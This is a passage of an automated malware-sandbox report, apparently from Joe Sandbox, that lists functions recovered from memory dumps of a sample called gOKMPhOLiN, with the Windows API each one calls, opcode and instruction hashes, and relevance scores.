                                                                                • Instruction Fuzzy Hash: 584199B4D04248DFCB14CFAAD584ADEFBF1BB49314F24806AE418B7220D375AA85CF94
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CC1AC8 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • VirtualProtect.KERNELBASE(?,?,?,?), ref: 02CC1B77
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: ProtectVirtual
                                                                                • String ID:
                                                                                • API String ID: 544645111-0
                                                                                • Opcode ID: 28e90df413caa7483e149812a315d4dabc73104806c05f12bfbbb52f3b2ef366
                                                                                • Instruction ID: 03c579d43dd32ccf0b40d6659c6c64fe46f9c9c8a53e735a8b524f09b479f49a
                                                                                • Opcode Fuzzy Hash: 28e90df413caa7483e149812a315d4dabc73104806c05f12bfbbb52f3b2ef366
                                                                                • Instruction Fuzzy Hash: EC31AAB5D042489FCB10CFAAD984ADEFBB4BF49310F24902AE818B7310D375A945CF64
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CC2258 Relevance: 1.6, APIs: 1, Instructions: 95memoryCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • VirtualProtect.KERNELBASE(?,?,?,?), ref: 02CC2307
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: ProtectVirtual
                                                                                • String ID:
                                                                                • API String ID: 544645111-0
                                                                                • Opcode ID: d5e62039f13f46a387b1dc1bb0b3500330c954189d4673668f200543dce2699d
                                                                                • Instruction ID: ce03d58ab6ef128017e9edc34fb4a15931f255f7e3c5ee0a3cd19afc17cbf224
                                                                                • Opcode Fuzzy Hash: d5e62039f13f46a387b1dc1bb0b3500330c954189d4673668f200543dce2699d
                                                                                • Instruction Fuzzy Hash: DC3189B8D052489FCF10CFA9E584ADEFBB4BF59310F24906AE818B7210D735A945CF64
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CC1AD0 Relevance: 1.6, APIs: 1, Instructions: 93memoryCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • VirtualProtect.KERNELBASE(?,?,?,?), ref: 02CC1B77
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: ProtectVirtual
                                                                                • String ID:
                                                                                • API String ID: 544645111-0
                                                                                • Opcode ID: ed15e4e81f59fe9ff0b0cf17adbefdb808e67fdfc316d51c643d1c3c967a8c09
                                                                                • Instruction ID: 72283f08f66d30225e42fc3b84d566d901097bdf54b2e343f2fe219855f35ca6
                                                                                • Opcode Fuzzy Hash: ed15e4e81f59fe9ff0b0cf17adbefdb808e67fdfc316d51c643d1c3c967a8c09
                                                                                • Instruction Fuzzy Hash: C13178B9D042589FCB10CFAAD984ADEFBB5BB49310F24902AE818B7310D775A945CF64
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CCBFA0 Relevance: 1.6, APIs: 1, Instructions: 93COMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: FindWindow
                                                                                • String ID:
                                                                                • API String ID: 134000473-0
                                                                                • Opcode ID: b3ecfc3a28bf34333cbc80e824783c36c96382c51b0cace9a9f778037717472c
                                                                                • Instruction ID: 081ec7b22927a058addb74391540b9d6a15a47ab938a4b8eb1296322bfc138a8
                                                                                • Opcode Fuzzy Hash: b3ecfc3a28bf34333cbc80e824783c36c96382c51b0cace9a9f778037717472c
                                                                                • Instruction Fuzzy Hash: 774189B4D012489FCB14CFA9D584ADEFBF1BF49314F24906AE458B7221D374AA85CFA4
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CC2260 Relevance: 1.6, APIs: 1, Instructions: 92memoryCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • VirtualProtect.KERNELBASE(?,?,?,?), ref: 02CC2307
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: ProtectVirtual
                                                                                • String ID:
                                                                                • API String ID: 544645111-0
                                                                                • Opcode ID: 1b42b19c16361ad6bf100a8dda929e12208508106cb0adb71f0c04acf673eb4c
                                                                                • Instruction ID: 6ce6522b9efb304a25d8259ef9d96d8d74477a8078d64ee9ca2e1ff5ba8d953e
                                                                                • Opcode Fuzzy Hash: 1b42b19c16361ad6bf100a8dda929e12208508106cb0adb71f0c04acf673eb4c
                                                                                • Instruction Fuzzy Hash: 2C3177B8D042589FCF10CFA9E984ADEFBB4BB49310F24902AE818B7310D735A945CF65
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F3D268 Relevance: 1.6, APIs: 1, Instructions: 87windowCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • PostMessageW.USER32(?,?,?,?), ref: 07F3D303
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: MessagePost
                                                                                • String ID:
                                                                                • API String ID: 410705778-0
                                                                                • Opcode ID: f611b3d2195abf47b8d76306a65bda4ac406de87f1247e90a4c4fc14101425eb
                                                                                • Instruction ID: f7f8144925a38eb90fa9955bc8fb4311adde54f536806a358f6930f8e41e3196
                                                                                • Opcode Fuzzy Hash: f611b3d2195abf47b8d76306a65bda4ac406de87f1247e90a4c4fc14101425eb
                                                                                • Instruction Fuzzy Hash: EB3187B9D04258AFCB10CFA9D584ADEFBF4BB49310F14902AE814B7310D339AA45CF64
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F39048 Relevance: 1.6, APIs: 1, Instructions: 87windowCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • SendMessageW.USER32(?,?,?,?), ref: 07F390EB
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: MessageSend
                                                                                • String ID:
                                                                                • API String ID: 3850602802-0
                                                                                • Opcode ID: 6f9d3a51f5a058ffe8f6223cc3ce6e0f46dd44ba9136ca6424cbf48b1aadfec5
                                                                                • Instruction ID: bce7a329ea601ac4a7102483e2132640e28443e84ea3ae3cc2ff4fb42587ba8f
                                                                                • Opcode Fuzzy Hash: 6f9d3a51f5a058ffe8f6223cc3ce6e0f46dd44ba9136ca6424cbf48b1aadfec5
                                                                                • Instruction Fuzzy Hash: DA3177B9D052489FCB10CFA9E584A9EFBF0AB49314F14906AE814BB310D375A945CF64
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F397D0 Relevance: 1.6, APIs: 1, Instructions: 85windowCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • SendMessageW.USER32(?,?,?,?), ref: 07F3986B
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: MessageSend
                                                                                • String ID:
                                                                                • API String ID: 3850602802-0
                                                                                • Opcode ID: 4e1cec0ac888c90532667ad38bef91815a55656536173593d11d6355ffc428db
                                                                                • Instruction ID: ed7bc1bfcabb2a14eea76c62fd2ef1e3d95d0ef6e28a5a633b9d42dd210f7186
                                                                                • Opcode Fuzzy Hash: 4e1cec0ac888c90532667ad38bef91815a55656536173593d11d6355ffc428db
                                                                                • Instruction Fuzzy Hash: B63167B9D05258AFCB10CFA9D984ADEFBF4BB49314F14902AE814B7310D375A945CF64
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F39050 Relevance: 1.6, APIs: 1, Instructions: 85windowCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • SendMessageW.USER32(?,?,?,?), ref: 07F390EB
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: MessageSend
                                                                                • String ID:
                                                                                • API String ID: 3850602802-0
                                                                                • Opcode ID: 3d4c473de6754d967d1ec05c2b2e7b744390a2a6391cf9e14725a5600d3e95ee
                                                                                • Instruction ID: e8deddbcc2594f7ee08a38347cbca3cb4bdf1a79ee54a46df1387b73e802e71d
                                                                                • Opcode Fuzzy Hash: 3d4c473de6754d967d1ec05c2b2e7b744390a2a6391cf9e14725a5600d3e95ee
                                                                                • Instruction Fuzzy Hash: 573166B9D04258AFCB10CFA9E984A9EFBF4AB49314F14902AE814B7310D375A945CF64
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F37A51 Relevance: 1.6, APIs: 1, Instructions: 84COMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • SetWindowTextW.USER32(?,?), ref: 07F37AF6
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: TextWindow
                                                                                • String ID:
                                                                                • API String ID: 530164218-0
                                                                                • Opcode ID: 11e44f476560ce98768cedc9514621b9609e9544afe12d7c1b31998cda53d520
                                                                                • Instruction ID: 000ebb8a252e578d63f833fee9768f6f1443122607a7013fdfa574b15eae7c3f
                                                                                • Opcode Fuzzy Hash: 11e44f476560ce98768cedc9514621b9609e9544afe12d7c1b31998cda53d520
                                                                                • Instruction Fuzzy Hash: 1831A9B4D012599FCB10CFA9D884ADEFBF5BB49310F18806AE854B7320D334AA45CBA4
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F37A58 Relevance: 1.6, APIs: 1, Instructions: 82COMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • SetWindowTextW.USER32(?,?), ref: 07F37AF6
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: TextWindow
                                                                                • String ID:
                                                                                • API String ID: 530164218-0
                                                                                • Opcode ID: 292b583796d7ffbbb9244086495e663c0cb2dfbef6865783ac30acf3c0f6e35c
                                                                                • Instruction ID: b1bed43f06f6929519df02b94bf2c5c7b71e5028f8131a691a44cc96ded8c3c0
                                                                                • Opcode Fuzzy Hash: 292b583796d7ffbbb9244086495e663c0cb2dfbef6865783ac30acf3c0f6e35c
                                                                                • Instruction Fuzzy Hash: 7131B8B4D012599FCB10CFA9D884ADEFBF5BB49310F18806AE854B7320D334AA45CBA4
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F36974 Relevance: 1.6, APIs: 1, Instructions: 80COMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • SetWindowRgn.USER32(?,?,?), ref: 07F373F7
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: Window
                                                                                • String ID:
                                                                                • API String ID: 2353593579-0
                                                                                • Opcode ID: 09d0dcebb90071201db071a63d7638042af0eded04a7491c2a4cd3735286a24b
                                                                                • Instruction ID: bea22a3d28213f641d56f7f8f9519bb2701d6deec96526e11d6dab90e2f40c37
                                                                                • Opcode Fuzzy Hash: 09d0dcebb90071201db071a63d7638042af0eded04a7491c2a4cd3735286a24b
                                                                                • Instruction Fuzzy Hash: 1E31A5B9D05258AFCB10CFA9D984ADEBBF4BB49310F14846AE814A7310D335AA45CFA4
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CCD680 Relevance: 1.6, APIs: 1, Instructions: 76COMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • GetModuleHandleW.KERNELBASE(?), ref: 02CCD712
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: HandleModule
                                                                                • String ID:
                                                                                • API String ID: 4139908857-0
                                                                                • Opcode ID: f17685dd7f3fff230ca78c4c39110879734dcd58c0171ddd8d8f74a0195392c5
                                                                                • Instruction ID: d39b9485696f6827a3e84879820b5fdb0084c854c6f5e49d689006ca38653e32
                                                                                • Opcode Fuzzy Hash: f17685dd7f3fff230ca78c4c39110879734dcd58c0171ddd8d8f74a0195392c5
                                                                                • Instruction Fuzzy Hash: A7318AB4D002499FCB14CFAAD584ADEFBF5AB49314F14906AE819B7320D734A945CF64
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F3ECC8 Relevance: 1.6, APIs: 1, Instructions: 73comCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: Initialize
                                                                                • String ID:
                                                                                • API String ID: 2538663250-0
                                                                                • Opcode ID: 04a186bdb476f32c9f070d30808ba83404d6bbf7e2b56770155162b2ccd9c433
                                                                                • Instruction ID: e494273f1fe69d96b88268b39e1b99630288d9442cc32352d4307697bd6844eb
                                                                                • Opcode Fuzzy Hash: 04a186bdb476f32c9f070d30808ba83404d6bbf7e2b56770155162b2ccd9c433
                                                                                • Instruction Fuzzy Hash: 423195B4D012199FCB10CFA9E884A9EFBB4AF49314F18942AE814B7310D734A941CFA4
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F3D7B8 Relevance: 1.6, APIs: 1, Instructions: 72comCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: Initialize
                                                                                • String ID:
                                                                                • API String ID: 2538663250-0
                                                                                • Opcode ID: 267aef58c923183d3b4c0977f7a18dddb3e24031f9c139124be82cdbf20e7840
                                                                                • Instruction ID: edc642f7864ac6dac067ac0391cc7eccb679eec1e5abb0ef67c350dc53b6e954
                                                                                • Opcode Fuzzy Hash: 267aef58c923183d3b4c0977f7a18dddb3e24031f9c139124be82cdbf20e7840
                                                                                • Instruction Fuzzy Hash: E031A7B4D012189FCB10CFA9D884A9EFBF4BF49314F18842AE814B7310D735A941CFA8
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09C68830 Relevance: 1.6, APIs: 1, Instructions: 72windowCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • DispatchMessageW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,-00000018,?), ref: 09C688B3
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: DispatchMessage
                                                                                • String ID:
                                                                                • API String ID: 2061451462-0
                                                                                • Opcode ID: 8ed6371c52b1409458ee9dbe37452c5d33805e4eb261304eecd2007f7eb91d8f
                                                                                • Instruction ID: cc3087caf912a9b60f483e027ba9d153f06081a296e705f700eb8bf9cbdc3cc2
                                                                                • Opcode Fuzzy Hash: 8ed6371c52b1409458ee9dbe37452c5d33805e4eb261304eecd2007f7eb91d8f
                                                                                • Instruction Fuzzy Hash: 3831ACB4D042499FCB10CFA9D484ADEFBF0AF49324F14906AE818B7321D335A941CF65
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09C65F3C Relevance: 1.6, APIs: 1, Instructions: 71windowCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • DispatchMessageW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,-00000018,?), ref: 09C688B3
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: DispatchMessage
                                                                                • String ID:
                                                                                • API String ID: 2061451462-0
                                                                                • Opcode ID: 81a694eb410c7652c5e85abbc5531f6913253d38f2529368d537bde8d80f8d0c
                                                                                • Instruction ID: c159b202ff4fb92f8db05555df963154a71fbad0810ec2a5efca1344d9a9a0e4
                                                                                • Opcode Fuzzy Hash: 81a694eb410c7652c5e85abbc5531f6913253d38f2529368d537bde8d80f8d0c
                                                                                • Instruction Fuzzy Hash: 9631ACB4D042089FCB10CFA9E584ADEFBF4EB49324F14906AE915B7310D334A941CFA5
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09CB0040 Relevance: .3, Instructions: 319COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96681445042.0000000009CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CB0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9cb0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 6fbd5880d0aed53a32cd0ded0f2dfece7b6f29fe0cf73d33d1e92439f0979ada
                                                                                • Instruction ID: 14f5f5daf1655806b6b30684feb508ba3e5ad579031ba83e9f72bb872ed19bf5
                                                                                • Opcode Fuzzy Hash: 6fbd5880d0aed53a32cd0ded0f2dfece7b6f29fe0cf73d33d1e92439f0979ada
                                                                                • Instruction Fuzzy Hash: 95E1E935900619DFCF15CF54C880ADAB7B2FF49304F15C199E908AB225E772DA96DF90
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 0127D4C4 Relevance: .1, Instructions: 75COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96439036653.000000000127D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0127D000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_127d000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: ab843dfef7d31c876eb50b1574322ee46d1a7986e7406d12c8148cf5ea121996
                                                                                • Instruction ID: 465cc91f6f97effcf8f3edd64b70e602112c7621543a15e647deda5656802503
                                                                                • Opcode Fuzzy Hash: ab843dfef7d31c876eb50b1574322ee46d1a7986e7406d12c8148cf5ea121996
                                                                                • Instruction Fuzzy Hash: 5D21F171514248DFDB05DF58E9C0B2BBFA5EF88728F248569EA051B246C336E446CAA1
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 0128D01C Relevance: .1, Instructions: 72COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96440223179.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_128d000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 8ce98e7b17d11ea1878ab81d2adbd6e0d1b21ac56008c40f702870027880ccdc
                                                                                • Instruction ID: 094f18cb826fd41b44ab3818a3173d8a2a46e844c467b30119f1d1b8222ac774
                                                                                • Opcode Fuzzy Hash: 8ce98e7b17d11ea1878ab81d2adbd6e0d1b21ac56008c40f702870027880ccdc
                                                                                • Instruction Fuzzy Hash: 15213770618248DFDB15EFA4D8C0B26BBA5EB84324F24C569E90A4B2C7C337D40BCA61
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 0128D1D4 Relevance: .1, Instructions: 72COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96440223179.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_128d000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 3451b8f9dec035df474d03aa4864df70fd708a6343d17d38a206baa14b89ff1b
                                                                                • Instruction ID: 7dc870855291376fca1fcd622bc48976ad9d23438b46dfa37d01ddc6474acfd3
                                                                                • Opcode Fuzzy Hash: 3451b8f9dec035df474d03aa4864df70fd708a6343d17d38a206baa14b89ff1b
                                                                                • Instruction Fuzzy Hash: AC210A71554248DFDB01EF94D9C0B26BBA5FB84324F24C56DE9094B2CBC376D84ACB61
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 0127D4BF Relevance: .1, Instructions: 56COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96439036653.000000000127D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0127D000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_127d000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: d0a97f1bf982435e69c48025713934659786a417383275fa6b37b44a046ede03
                                                                                • Instruction ID: 371671de9a8330207c580182fa5a3e90de0ae2a77deccda9c7c9cca6e96cb46a
                                                                                • Opcode Fuzzy Hash: d0a97f1bf982435e69c48025713934659786a417383275fa6b37b44a046ede03
                                                                                • Instruction Fuzzy Hash: B011AF76504284CFCB12CF54D5C4B1ABF71FF84724F2486A9D9450B657C336D45ACBA1
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 0128D1CF Relevance: .1, Instructions: 53COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96440223179.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_128d000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 0b77ac6f61e515dbcf8bb73efd7c603f2f0afcfaf177e69d10620e76e105ac69
                                                                                • Instruction ID: addae2ed883f556488981171bb2968e58e1ecae790d22ffcec08548c657029ff
                                                                                • Opcode Fuzzy Hash: 0b77ac6f61e515dbcf8bb73efd7c603f2f0afcfaf177e69d10620e76e105ac69
                                                                                • Instruction Fuzzy Hash: 1711BB75504284DFDB02DF58C5C4B15FBA1FB84324F24C6A9D9094B29BC33AD45ACB61
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 0128D017 Relevance: .1, Instructions: 53COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96440223179.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_128d000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 0b77ac6f61e515dbcf8bb73efd7c603f2f0afcfaf177e69d10620e76e105ac69
                                                                                • Instruction ID: 854631787a47151fdba96d5c0d645b7e278b70cad2c2755597ffec3884282f50
                                                                                • Opcode Fuzzy Hash: 0b77ac6f61e515dbcf8bb73efd7c603f2f0afcfaf177e69d10620e76e105ac69
                                                                                • Instruction Fuzzy Hash: 8111BB75504284CFDB12DF58D584B19FBA2FB84314F24C6AAD9094B696C33AE44BCBA2
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 0127D731 Relevance: .0, Instructions: 45COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96439036653.000000000127D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0127D000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_127d000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 8f5b2566695d010ad5faddfbd0148815eea2bf8798b8e267b8c544729ccb01de
                                                                                • Instruction ID: 058c4764f8e57f7c794ca58f8a00a51300c1883ceef3b527fd6a40cb26ccc5a5
                                                                                • Opcode Fuzzy Hash: 8f5b2566695d010ad5faddfbd0148815eea2bf8798b8e267b8c544729ccb01de
                                                                                • Instruction Fuzzy Hash: 7F01A77101839D9AE7148A69CDC5B67FFD8DF81228F18C556EE494A182D3799840C671
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09CB19F0 Relevance: .0, Instructions: 41COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96681445042.0000000009CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CB0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9cb0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 5b2d3ab8785d8f64ad2d9ccca62c8b13a8a7ab0464be5b5fe3d85ecfa4e21d6b
                                                                                • Instruction ID: 4f80a7ce58b662dba178ca4c92f3b390f351e35a8ccb783dc7750fb08037c455
                                                                                • Opcode Fuzzy Hash: 5b2d3ab8785d8f64ad2d9ccca62c8b13a8a7ab0464be5b5fe3d85ecfa4e21d6b
                                                                                • Instruction Fuzzy Hash: 04018C39B04210CFC7449A79F418B9A77E5FB88326F98816AE409CB360CB76DD41CB90
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09CB19E0 Relevance: .0, Instructions: 38COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96681445042.0000000009CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CB0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9cb0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
